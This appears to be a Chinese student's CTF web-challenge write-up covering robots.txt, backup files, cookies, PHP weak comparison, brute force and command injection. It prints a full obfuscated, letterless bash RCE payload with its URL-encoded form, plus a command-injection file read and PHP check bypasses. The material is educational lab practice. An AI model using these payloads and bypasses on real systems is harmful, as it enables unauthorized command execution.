工具

找flag

既然提示了flag可能在文件里.所以flag就是:

flag{hello_world}或xxxctf{we1c0me!}!

算了,直接看.md文件源代码

flag{we1c0me_t0_CTF!}

题目

view_source

tyle=”background-color:rgb(247, 248, 250);”>get_post

python脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62


import hashlib


import itertools


import string


def find_md5_match(prefix="19ca14", max_length=6):


chars = string.ascii_letters + string.digits # 可选字符集(字母+数字)





for length in range(1, max_length + 1):


for candidate in itertools.product(chars, repeat=length):


test_string = "".join(candidate)


md5_hash = hashlib.md5(test_string.encode()).hexdigest()


if md5_hash.startswith(prefix):


print(f"找到匹配项: {test_string} -> {md5_hash}")


return test_string


print("未找到匹配项")


return None


if __name__ == "__main__":


find_md5_match()





#输出:


#找到匹配项: 36 -> 19ca14e7ea6328a42e0eb13d585e4c22


robots

了Notepad,就可以创建和编辑它 [1]。robots.txt是一个协议,而不是一个命令。robots.txt是搜索引擎中访问网站的时候要查看的第一个文件。robots.txt文件告诉蜘蛛程序在服务器上什么文件是可以被查看的。

当一个搜索蜘蛛访问一个站点时,它会首先检查该站点根目录下是否存在robots.txt,如果存在,搜索机器人就会按照该文件中的内容来确定访问的范围;如果该文件不存在,所有的搜索蜘蛛将能够访问网站上所有没有被口令保护的页面。百度官方建议,仅当您的网站包含不希望被搜索引擎收录的内容时,才需要使用robots.txt文件。如果您希望搜索引擎收录网站上所有内容,请勿建立robots.txt文件。

如果将网站视为酒店里的一个房间,robots.txt就是主人在房间门口悬挂的“请勿打扰”或“欢迎打扫”的提示牌。这个文件告诉来访的搜索引擎哪些房间可以进入和参观,哪些房间因为存放贵重物品,或可能涉及住户及访客的隐私而不对搜索引擎开放。但robots.txt不是命令,也不是防火墙,如同守门人无法阻止窃贼等恶意闯入者。

所以直接搜robots.txt

再搜flag_ls_h3re.php就行了

backup

如果网站存在备份文件,常见的备份文件后缀名有:“.git” 、“.svn”、“ .swp”“.~”、“.bak”

测试到.bak下载了一个文件,打开就是flag

tyle=”color:rgb(39, 46, 59);background-color:rgb(247, 248, 250);”>cookie

hackbar找cookie

hackbar中mode转为raw直接看flag

disabled_button

我偏按,改一下这个

去掉disabled就行了

相关知识:HTML <input> disabled 属性

simple_js

pass这堆数解密为FAUX PASSWORD HAHA,那么这堆java代码无论怎么执行,都返回FAUX PASSWORD HAHA,但是源代码有这样的16进制数

解码后得到786OsErtk12,盲猜flag,组合一下得到 Cyberpeace{786OsErtk12}

艹,真对了

xff_referer

ez_http,直接hackbar操作就行

](/img/HnuSecTraining/2025SpringWeek1/1741444321941-3d60e355-3f15-4cee-b13f-fafd8bc4e0c5.png)

weak_auth

盲猜密码

nb

算了爆破一下吧,也练习一下操作

在爆破点加载用户名和密码

取得一系列响应

直接找就行

command_execution

不写waf,某些hacker会直接操作你的文件!

展示文件

到根目录

找flag

或者这样找也行,但是flag一被修饰就不行了

cat /home/flag.txt 或者nl /home/flag.txt

simple_php

原理:

a=’0’中== 会先将字符串换成相同类型,再作比较,属于弱类型比较,所以$a==0成立

其次,$a的值原来是ASCLL码值,不为零,所以就绕过去了

b[]=12345被视作数组不是数字,绕过去

$b的值显然大于1234

PHP基础

已经写过了几份笔记,还有课件,都是知识~

PHP学习及练习

PHP语言的漏洞

PHP1.pdf

PHP2.pdf

REC命令执行

0~9题在这里

之前就部署好了

后面几题没看到get_flag.php文件,所以在nss上写了

[RCE-labs]Level 10 - 无字母命令执行_二进制整数替换

一开始没什么思路,看了一下writeup下载了一个使用的脚本

https://github.com/ProbiusOfficial/bashFuckyload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14


Charset : # $ ' ( ) 0 < \ { }


Total Used: 10


Total length = 444


Payload = $0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'


url编码一下

[RCE-labs]Level 11 - 无字母命令执行_整数1的特殊变量替换

不是这道题有bug?传123不报WAF?看writeup也不行

上一题还正常

ad吧,不知道对不对.

毕竟没有对** # $ ‘ ( ) 0 < \ { } **几项WAF,在题目给的渠道生成playload:

url编码:

1
2
3
4
5


%240%3C%3C%3C%240%5C%3C%5C%3C%5C%3C%5C%24%5C'%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D000%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D000%24%7B%23%23%7D%24%7B%23%23%7D0%24%7B%23%23%7D))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D0%24%7B%23%23%7D00%24%7B%23%23%7D00))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D0%24%7B%23%23%7D000))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D%24%7B%23%23%7D%24%7B%23%23%7D00%24%7B%23%23%7D))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D00%24%7B%23%23%7D00%24%7B%23%23%7D0))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D00%24%7B%23%23%7D%24%7B%23%23%7D0%24%7B%23%23%7D0))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D000%24%7B%23%23%7D%24%7B%23%23%7D0%24%7B%23%23%7D))%5C%5C%24((%24((%24%7B%23%23%7D%3C%3C%24%7B%23%23%7D))%23%24%7B%23%23%7D00%24%7B%23%23%7D00%24%7B%23%23%7D%24%7B%23%23%7D))%5C'


[RCE-labs]Level 13 - 无字母命令执行_特殊扩展替换任意数字

脚本真好用,学废了

[RCE-labs]Level 14 - 7字符RCE

这过滤个啥啊?代码BUG?长度都是9了啊?

换一种解题方式,就满足条件了

NSSCTF{fd8be297-d8d0-4909-90ef-574e11739831}

燃尽了先写到这里吧